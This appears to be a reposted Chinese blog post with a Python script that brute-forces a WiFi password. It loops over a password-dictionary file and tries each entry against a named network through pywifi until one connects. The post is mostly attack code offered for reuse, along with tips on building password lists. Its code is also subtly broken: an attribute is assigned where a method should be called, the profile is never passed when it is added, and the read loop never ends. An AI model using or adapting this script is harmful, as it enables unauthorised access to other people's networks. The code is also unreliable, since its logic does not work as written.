PythonクラッキングWiFiパスワード(テスト)

#其实破解的方法不是很难,就是模拟我们人输入WiFi密码一样重复循环
#先建立一个密码本存储所有可能的密码,用代码生成或者网上的摘抄,生成密码的时间是随着位数的增加
#而增加的。三位数的密码本(txt)只需要几秒钟就可生成,内存只有几十k,而对于八位数的密码本就可能
#需要很长的时间了,而且内存很大,读取破解的时候可能会出现卡顿(如果没有很好的内核的话)
#生成密码本可以参考我的另一篇博客 https://blog.csdn.net/Msyusheng/article/details/106094544
import pywifi   #要安装pywifi和comtypes两个模块
import time
from pywifi import const
#bic()是显示着已连接的WiFi名称与本次程序无关
def bic():
    wifi1=pywifi.PyWiFi()
    ifaces1=wifi1.interfaces()[0]
    ifaces1.scan()

    result=ifaces1.scan_results()
    for data in result:
        print(data.ssid.encode('raw_unicode_escape').decode('utf-8'))
        #乱码部分加上encode('raw_unicode_escape').decode('utf-8'))
bic()

#测试连接返回连接窗口
def wificonnect(abc):
    #抓取网卡接口
    wifi=pywifi.PyWiFi()
    #获取第一个网卡接口
    iface=wifi.interfaces()[0]
    #睡眠一段时间,断开所有连接
    iface.disconnect()
    time.sleep(1)
    wifistatus=iface.status()

    if wifistatus==const.IFACE_DISCONNECTED:
        print('未连接')

        #创建WiFi连接文件
        profile=pywifi.profile()
        #要连接的WiFi名称
        profile.ssid='HONOR 9X'
        #网卡的开放
        profile.auth=const.AUTH_ALG_OPEN

        #WiFi的加密算法
        profile.akm.append=(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #初始化密码
        profile.key=abc


        #删除之前连接的所有WiFi
        iface.remove_all_network_profiles(profile)

        #设定新的连接文件
        tep_proifle=iface.add_network_profile()
        #用新的文件去测试连接
        iface.connect(tep_proifle)

        #wifi连接的时间
        time.sleep(4)
        if iface.status()==const.IFACE_CONNECTED:   #const.IFACE_CONNECTED默认等于4想看见他的参数可以自行百度
            return True
        else:
            return False
    else:
        print('已连接')

def readpassword():
    print('开始破解')
    f = open("D://1.txt",encoding="utf-8")  #先打开文件1.txt是密码是密码字典,可以在网上下载或者自动生成
    while True:
        try:
            passstr=f.readline()
            bool=wificonnect(passstr)
            if bool:
                print('密码正确',passstr)
                print('已连接')
            else:
                print('密码错误',passstr)
        except:
            continue

readpassword()

おすすめ

転載: blog.csdn.net/Msyusheng/article/details/106085931